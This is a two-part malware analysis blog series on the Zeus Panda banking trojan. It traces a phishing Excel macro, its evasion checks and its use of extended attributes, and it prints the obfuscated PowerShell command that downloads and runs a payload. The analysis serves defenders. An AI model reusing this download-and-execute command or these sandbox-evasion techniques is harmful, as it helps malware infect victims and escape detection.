Panda Banker hits Italy – Analysis Part 2


In part 1 of this series of blog posts about Zeus Panda, we have analyzed the infection vector of the attack explaining how a simple click on “Enable Content” on a seemingly harmless document will trigger the execution of a malicious VBA macro code and consequently the execution of an obfuscated Powershell script that eventually downloads and launches a .exe that represents the second stage of this attack.

In this second blog post we are going to analyze better what the Powershell script has downloaded by showing a possible way to detonate the malware in a controlled environment and expose its mechanism.

Static Analysis

Before any dynamic analysis or automated sandbox analysis, we usually invest a bit of our time to study the sample statically.
This step is usually worth an analyst’s time since it can give you interesting and useful insight into what you are going to ‘fight’; also, this step allows you to start formulating some hypotheses about the malware behavior, its anti-analysis techniques and many other useful hints that will help during a manual dynamic analysis – if needed.

First things first, let’s drop the executable inside PE-Studio in order to perform an initial malware assessment.

The first information that we can grab here is that this is a 32 bit binary with an old compilation timestamp – probably faked – that tries to disguise itself as a legit product with the description: “Initialized Component Authenticated Pocket Syntactic”.

Detection on VT during the last days of the malware campaign – last analysis at 12-12-2017 – is quite low, this probably means that we are going to fight with a malware that will use some tricks in order to remain under the radar of AV – injection techniques, packing, evasion.

Let’s re-submit the sample on VT and let’s see at the time of writing if something changes…

Good, detection on VT is pretty high now. The signatures seem to agree on the fact that this is a Trojan and in particular Zbot – another alias for Zeus – with a mention to Panda.

File version information reveals a product name “CarpalTelemetry” and an owner Company called “Moo0“. It seems that this company actually exists and develops utilities for Windows. However, this can’t be obviously used as attribution since this could be fake.

Let’s now investigate a bit the structure of the PE, starting from its sections.

We have pretty common sections names here, the only thing that we notice is that the .rsrc section has got an entropy value of nearly 7, this could indicate that there are possibly some encrypted resources, let’s check them indeed.

Our hypothesis was correct, we have 5 resources of type “RPDATA” with an interesting high entropy; These binary blobs could contain anything from configuration files for the malware, to new packed code or any other kind of data. However, let’s forget this for a moment, let’s keep in mind that we expect the malware to access this data sooner or later during the execution.

Then, let’s take a look at the imports of the file.

From the list of imports we can formulate a couple of hypotheses:

  1. LoadLibrary and GetProcAddress make us think that the malware will use dynamic resolution of Windows API in order to hide its real imported functions and therefore its real intentions.
  2. CreateToolhelp32Snapshot and Process32Next make us expect that the malware, sooner or later, will enumerate the processes on the system.
  3.  CreateFileW will be used to drop new files on the infected system
  4.  FindResource, LoadResource and WinAPI related to resources in general strengthen our hypothesis that the malware will sooner or later access the encrypted resources.

Obviously, these are only weak hypotheses, but they can give us a first direction in the next steps of the analysis.

Finally, this binary was compiled in debug mode since we have a string that reveals a .pdb path: “C:\Kennel\Typewriter\sees.pdb“.

Now that we have a couple of base hypotheses about our possible enemy’s behavior, it’s time to actually fight him.

Dynamic Analysis | Sandbox 

An automated analysis of a sample inside a sandbox is usually our first approach to understand the malware activity in a system.
We have analyzed the sample inside our own sandbox, however, you can also find a public report here.

The sandbox report is quite bare, no network activity and from the process tree we can see only an execution of a .bat script.

Our sandbox reports us the contents of this .bat as:

@echo off
del /F /Q “C:\Users\******\AppData\Local\Temp\localappdata.exe”
if exist “C:\Users\******\AppData\Local\Temp\localappdata.exe” goto d
del /F “C:\Users\******\AppData\Local\Temp\upd8ad90570.bat”

Well, it seems that the sample deleted itself after basically doing nothing…this smells of evasion!
There are tons of evasion techniques, anyway as a first insight on what are the techniques implemented here, we can use our hypothesis formulated before and take a look into the created file – it is possible to detect an analysis environment by checking for particular files.

Well, well, we have this strange CreateFileW and when checking online for this path, we discover that these are typical checks leveraged in order to discover sandbox environment, interesting.
Additional interesting information regards checks for the presence of the following mutex objects:

It seems that our malware doesn’t want to see Sandboxie and Deep Freeze on the victim machine.

With this new information, it’s time to drop the sample inside a debugger and try to bypass all these evasion techniques to finally reach our goal: seeing the real face of our enemy!

Dynamic Analysis | Debugger

We are going to use x32dbg inside our own VM for malware analysis. Remember to snapshot the VM before any activity and then let’s open the sample and stop the execution at the EntryPoint.

We are going to put breakpoints on the CreateFileW and CreateFileA, then let’s run the sample with F9 until we can see that we are trying to access one of the files we have identified before.

Here we are, the malware checks if popupkiller.exe is inside the system by trying to open it with the CreateFileW functions. Since we have no such file inside our VM this is going to fail, but let’s run it until it returns from this call and let’s see where we are.

The code is really explicit here, it is going to check if the previous CreateFile fails or not and, if it fails, it is going to check the LastError value and expect to see an ERROR_FILE_NOT_FOUND ( 0x2 ) or an ERROR_PATH_NOT_FOUND ( 0x3 ). If the error is not the one expected or the open didn’t fail, it is going to set the bl register to 0x1 and return. This latter variable is used in order to signal the fact that the execution must be terminated since an analyst environment has been detected.

Given that, let’s continue the execution and let’s see if any of these file checks will trigger any of the conditions that the malware expects in order to evade the analysis.

Ah! The check for this file (probably related to the presence of Wireshark on the machine) triggers an ERROR_SEEK that the malware didn’t expect in its checks and this is one of the causes of the termination of the program. We are going to step the code and patch the bl register with 0x0 when it will be set to 0x1 in order to bypass this.

Now, since we don’t know what’s next, let’s put a couple of breakpoints on these functions:

  • CreateToolhelp32Snapshot
  • Process32Next
  • CreateProcess

The first two breaks are justified since we made the hypothesis about process enumeration, the last one is a safe assumption that sooner or later the malware will spawn a new process.

After a hit on CreateToolhelp32Snapshot, if we continue the execution we hit Process32Next. Here the code grabs the name of the process and eventually execute a StrStrI in order to check the name of the process with – in this case – “Wireshark”.

This procedure is repeated for all the processes in the blacklist of the malware:

  • wireshark
  • immunity
  • processhacker
  • processexplorer
  • procmon
  • idaq
  • regshot
  • aut2.exe
  • perl
  • python

We have no process active right now with any of these names, so we can disable breaks on CreateToolhelp32Snapshot/Process32Next and resume execution with F9.

Continuing the execution we hit CreateFile a couple of times again. The malware checks for the presence of these device names related to RegMon:

  • “\\.\REGVXG”
  • “\\\\.\\REGSYS”

Checks related to FileMon:

  • “\\\\.\\FILEVXG”
  •  “\\.\FILEM”

And finally for a device name related to a debugger included in Windows 9x-based platforms

  • “\\.\TRW”

After these checks, the malware drops 4 new files in a subfolder picked from C:\Users\%USER%\AppData\Roaming\, in this run the picked folder is C:\Users\%USER%\AppData\Roaming\Notepad++\plugins\config\ and the 4 files are:

  • data_3.ipo
  • data_3.qiv
  • data_2.ihi
  • Obsidian.exe

The name of these files and the folder picked up are randomly generated and selected with an internal algorithm not documented here.
We expect that sooner or later something will be written inside these files, so let’s put a breakpoint on the function WriteFile and let’s continue the execution.

Bam! Hit the break on the WriteFile, let’s analyze the parameters of this WinApi and let’s see what we are writing inside it.
According to msdn, WriteFile has the following prototype:

_In_ HANDLE hFile,
_In_ LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped

dumping the input parameters from the stack we have:

  • hFile: 0x1cc
  •  lpBuffer: 0x390000
  •  nNumberOfBytesToWrite: 0x3f600 ( 259584 bytes )

So we are writing bytes from 0x390000 to 0x3CF600 inside that file.
Following the address in the memory dump, we can see, unsurprisingly, an MZ header and so a full PE file following.

Let’s dump these bytes with the command:

savedata “C:\Users\%USER%\Desktop\dump.exe”,0x390000,0x3f600

finally, let’s open the file with CFFexplorer:

MD5 is identical to the original dropped file, it seems that this was merely an attempt to copy the original file inside the path picked up initially.
Let’s continue the execution.

After some other hits on CreateFile – used in order to check if everything has been set up correctly – the malware calls a CreateProcess with the Obsidian.exe as target.

Finally, two new svchost.exe processes show up, it seems that we have arrived at the final payload! – data_2.exe is the same as obsidian.exe, the name of this copy is random and changes from execution to execution.

We are pretty sure that some kind of injection techniques has been used here in order to have a seemingly legit process called “svchost.exe” executing malware payload instead.
But wait, aren’t we missing something? If the PE launched is exactly the same as before, why the malware changes behavior dynamically? How does it know that it has already made the evasion checks and the initial setup?

Let’s check the two ProcMon traces side by side. The trick that we usually do here is to start from the bottom of the trace and scroll up until the traces are identical, the reason of the divergence should lay more or less there ( don’t get confused, config.exe is always obsidian.exe, but as said before it has another name because it is a different execution )

Ah! It seems that the malware decides to start or not the evasion routine based on that IRP_MJ_QUERY_EA – you can see that in the trace of the original file this query fails and so the malware starts the evasion routine with the checks presented before- but what exactly does this query mean?
Let’s investigate the event a bit:

So this event has been generated by a call to ZwQueryEaFile.
According to MSDN, this API “returns information about extended-attribute (EA) values for a file”.
These are not exactly ADS, tools like AlternateStreamView don’t find anything indeed.

In order to see this attributes, we are going to use EAQuery64:

Bingo, we can see that the newly-copied PE has indeed an EA attribute called “DATA”, while the originally dropped malware has none. In particular, this seems an encrypted binary blob – entropy is indeed quite high:

So, this seems to be the mechanism that our bad guys are using in order to understand whether they need to activate the evasion routines, or whether they have already set up the environment and they have to trigger the machine infection.
We can indeed see the call to NtSetEaFile after the copy of the malware has been created inside the random folder picked up during startup:

This post ends here, in the next one we are going to analyze this new stage of the malware, what process injection techniques are used in order to make the two svchost processes execute malicious code and eventually we are going to do a brief description of the malicious activities that this malware can do on the victim’s machine.

Stay tuned and stay safe.

Panda Banker hits Italy – Analysis Part 1


During the analysis of network traffic collected inside the network of one of our customers by our system “Cyber Alastair sensor”, we have identified an HTTP request to a domain that immediately triggers our attention:
Further threat intelligence investigations reveal that this domain is strictly related to the infamous Zeus Panda banking malware that hit Italy in the last few months, as reported also by malwaretraffic back in November.

Zeus Panda is a particularly nasty piece of software, derived from the infamous Zeus trojan, that hit the news several times this year, as reported also by the guys at, since it provides threat actors with a lot of different ways to monetize infected hosts: from banks credentials stealing to keylogging and SOCKS proxy capabilities.

In this series of blog posts we are going to analyze the malware infection in all its stages – from the infection vector to the dissection of the final payload – in order to understand the techniques used to remain a persistent threat inside the system, the methods exploited in order to exfiltrate information from the infected machine, the evasion techniques leveraged by the malware to hinder its analysis, and eventually all the IOC useful to expose such kind of infections inside your network.

Infection Vector

The infection vector used to deliver this threat is the old school Microsoft Office document containing an embedded VBA macro.
The document arrived attached to a phishing e-mail that tried to persuade the victim to think that there are some kind of debts to pay and they need to be set up urgently, this simple trick is often – unfortunately – enough to exploit the panic/curiosity of the receiver and led him/her to open the document.

Once the document has been opened we can see this:

The only thing that separates us from the infection is the click on that button “Enable Content” since VBA macros are not executed automatically by default. Obviously, the document tries to persuade us to click on it by presenting a kind of partial document. This is not one of the most complex
phishing techniques that we have seen used to fool the victim to enable the macro code but, hey, it works.

So, long story short: if the victim finally decides that the hidden contents inside the document is worth his/her click on “Enable Content”, the embedded VBA macro code is eventually executed and the show begins.

Infection Analysis

We can inspect the content of the VBA macro code both statically with tools like oletool, or dynamically by actually executing the macro inside the VBA interpreter embedded in Microsoft Office Excel. The latter technique is the one we are going to use here. Let’s disable the network inside our virtual machine – we don’t want to actually download the other stage of the malware now, but only analyze the macro code – then let’s click on “Enable Content” and finally let’s open the VBA Macro by navigating to View -> Macro -> View Macros -> Edit.

The function Workbook_Open() will execute when the Microsoft Excel document opens, executing through the command ‘Shell’ the string returned from the function ‘hawaiii’ that composes the final string leveraging all the other functions. This kind of simple obfuscation techniques are used in order to bypass automatic analysis systems and possibly AV signature, avoiding to hardcode the malicious command in the macro code but rather composing it with clever tricks. However, in this particular case, we have really basic and simple obfuscation techniques to protect the malicious command so we won’t waste our time analyzing them but rather we will skip all this mess by using a simple and neat dodge to dump the command executed.

We are going to supersede the ‘Shell’ command with a strategic ‘Debug.Print’ in order to dump the content of the string in our debug console, then we execute the macro to finally have our malicious command.

We have a slightly obfuscated Powershell command here:

poweRSheLL -NoniNTeRaCtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen “do{sleep 15;(.(\”{2}{0}{1}\” -f’-o’,’bject’,’new’) (\”{1}{3}{5}{0}{2}{4}\” -f’t’,’syst’,’.webclie’,’em’,’nt’,’.ne’)).(‘d’+’ow’+’nloadfil’+’e’).Invoke(‘’,’%localappdata%.exe’)}while(!$?);&(\”{0}{2}{1}\”-f’star’,’ss’,’t-proce’) ‘%localappdata%.exe'”

Ah! Here we can see exactly the domain we saw inside our customer’s network.
The Powershell command sleeps for 15 seconds – yet another technique used to try to timeout and bypass security products – and then uses a simple string composition technique to create the final command that will download a file from, save it to %localappdata%” – that is actually an alias for “%USERPROFILE%\AppData\Local – and eventually execute it.

At the time of writing the C&C at doesn’t serve anymore the second stage, however, we can recover it thanks to a not so old analysis of our document at hybrid-analysis.

From the process tree, we can see our Powershell command and the execution of the downloaded .exe.

Expanding the window we can retrieve the hash of the downloaded .exe: MD5,7d898b1260c0ea760c1de7d586cf8527
We can search it on VirusTotal, hoping that somebody uploaded it recently.


This post ends here, in the next one we are going to analyze the second stage of the infection.

Stay tuned and stay safe.


Document MD5 6F80250650199B6BF26E9C8022EEB09A
Document Name
Domain contacted
HTTP Request
Dropped .exe MD5 7D898B1260C0EA760C1DE7D586CF8527